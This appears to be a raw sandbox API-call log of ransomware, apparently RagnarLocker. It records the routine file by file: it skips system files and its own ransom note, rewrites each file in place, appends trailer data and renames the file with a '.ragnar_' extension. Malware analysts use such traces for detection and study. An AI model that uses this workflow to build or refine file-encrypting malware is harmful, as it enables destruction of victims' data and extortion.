dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.330] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=52496) returned 1 [0087.330] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcd07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.330] GetProcessHeap () returned 0x580000 [0087.330] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.330] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.331] VirtualAlloc (lpAddress=0x0, dwSize=0xcd10, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.331] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.331] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.332] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcd10, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcd10, lpOverlapped=0x0) returned 1 [0087.333] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.333] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcd10, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.334] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcd10, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcd10, lpOverlapped=0x0) returned 1 [0087.334] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcd10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.334] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.334] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcd10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.334] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.334] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.334] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.334] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.335] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.335] GetProcessHeap () returned 0x580000 [0087.335] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.335] CloseHandle (hObject=0xf4) returned 1 [0087.335] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" [0087.335] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.ragnar_FD7BD9FC" [0087.335] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa80c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287415.WMF", cAlternateFileName="")) returned 1 [0087.335] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.335] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0287415.WMF" | out: lpString1="J0287415.WMF") returned="J0287415.WMF" [0087.335] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF") returned=".WMF" [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="autorun.inf") returned 1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="boot.ini") returned 1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="bootfont.bin") returned 1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="bootsect.bak") returned 1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="bootmgr") returned 1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="bootmgr.efi") returned 1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="bootmgfw.efi") returned 1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="desktop.ini") returned 1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="iconcache.db") returned 1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="ntldr") returned -1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="ntuser.dat") returned -1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="ntuser.dat.log") returned -1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="ntuser.ini") returned -1 [0087.336] lstrcmpiW (lpString1="J0287415.WMF", lpString2="thumbs.db") returned -1 [0087.336] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.336] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.336] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.336] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.336] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.336] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.336] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf")) returned 0x20 [0087.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.337] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=43020) returned 1 [0087.337] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa803, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.337] GetProcessHeap () returned 0x580000 [0087.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.337] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.338] VirtualAlloc (lpAddress=0x0, dwSize=0xa80c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.338] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.338] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.339] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa80c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa80c, lpOverlapped=0x0) returned 1 [0087.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.340] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa80c, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.340] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa80c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa80c, lpOverlapped=0x0) returned 1 [0087.341] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa80c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.341] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.341] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa80c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.341] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.341] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.341] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.341] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.341] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.341] GetProcessHeap () returned 0x580000 [0087.341] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.341] CloseHandle (hObject=0xf4) returned 1 [0087.342] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" [0087.342] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.ragnar_FD7BD9FC" [0087.342] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.342] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd6bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287417.WMF", cAlternateFileName="")) returned 1 [0087.342] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.342] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0287417.WMF" | out: lpString1="J0287417.WMF") returned="J0287417.WMF" [0087.342] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF") returned=".WMF" [0087.342] lstrcmpiW (lpString1="J0287417.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.342] lstrcmpiW (lpString1="J0287417.WMF", lpString2="autorun.inf") returned 1 [0087.342] lstrcmpiW (lpString1="J0287417.WMF", lpString2="boot.ini") returned 1 [0087.342] lstrcmpiW (lpString1="J0287417.WMF", lpString2="bootfont.bin") returned 1 [0087.342] lstrcmpiW (lpString1="J0287417.WMF", lpString2="bootsect.bak") returned 1 [0087.342] lstrcmpiW (lpString1="J0287417.WMF", lpString2="bootmgr") returned 1 [0087.343] lstrcmpiW (lpString1="J0287417.WMF", lpString2="bootmgr.efi") returned 1 [0087.343] lstrcmpiW (lpString1="J0287417.WMF", lpString2="bootmgfw.efi") returned 1 [0087.343] lstrcmpiW (lpString1="J0287417.WMF", lpString2="desktop.ini") returned 1 [0087.343] lstrcmpiW (lpString1="J0287417.WMF", lpString2="iconcache.db") returned 1 [0087.343] lstrcmpiW (lpString1="J0287417.WMF", lpString2="ntldr") returned -1 [0087.343] lstrcmpiW (lpString1="J0287417.WMF", lpString2="ntuser.dat") returned -1 [0087.343] lstrcmpiW (lpString1="J0287417.WMF", lpString2="ntuser.dat.log") returned -1 [0087.343] lstrcmpiW (lpString1="J0287417.WMF", lpString2="ntuser.ini") returned -1 [0087.343] lstrcmpiW (lpString1="J0287417.WMF", lpString2="thumbs.db") returned -1 [0087.343] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.343] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.343] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.343] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.343] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.343] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.343] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf")) returned 0x20 [0087.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.343] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=54972) returned 1 [0087.343] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd6b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.343] GetProcessHeap () returned 0x580000 [0087.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.344] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.345] VirtualAlloc (lpAddress=0x0, dwSize=0xd6bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.345] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd6bc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd6bc, lpOverlapped=0x0) returned 1 [0087.346] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.347] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd6bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.347] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd6bc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd6bc, lpOverlapped=0x0) returned 1 [0087.347] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd6bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.347] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.348] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd6bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.348] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.348] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.348] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.348] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.348] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.348] GetProcessHeap () returned 0x580000 [0087.348] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.348] CloseHandle (hObject=0xf4) returned 1 [0087.348] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" [0087.348] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.ragnar_FD7BD9FC" [0087.348] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.349] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82369200, ftCreationTime.dwHighDateTime=0x1bf58e6, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82369200, ftLastWriteTime.dwHighDateTime=0x1bf58e6, nFileSizeHigh=0x0, nFileSizeLow=0x89a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287641.JPG", cAlternateFileName="")) returned 1 [0087.349] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.349] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0287641.JPG" | out: lpString1="J0287641.JPG") returned="J0287641.JPG" [0087.349] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG") returned=".JPG" [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="autorun.inf") returned 1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="boot.ini") returned 1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="bootfont.bin") returned 1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="bootsect.bak") returned 1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="bootmgr") returned 1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="bootmgr.efi") returned 1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="bootmgfw.efi") returned 1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="desktop.ini") returned 1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="iconcache.db") returned 1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="ntldr") returned -1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="ntuser.dat") returned -1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="ntuser.dat.log") returned -1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="ntuser.ini") returned -1 [0087.349] lstrcmpiW (lpString1="J0287641.JPG", lpString2="thumbs.db") returned -1 [0087.349] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.349] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.349] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.349] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.349] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.349] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.349] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg")) returned 0x20 [0087.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.361] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=35236) returned 1 [0087.361] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x899b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.361] GetProcessHeap () returned 0x580000 [0087.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.361] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.363] VirtualAlloc (lpAddress=0x0, dwSize=0x89a4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.363] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 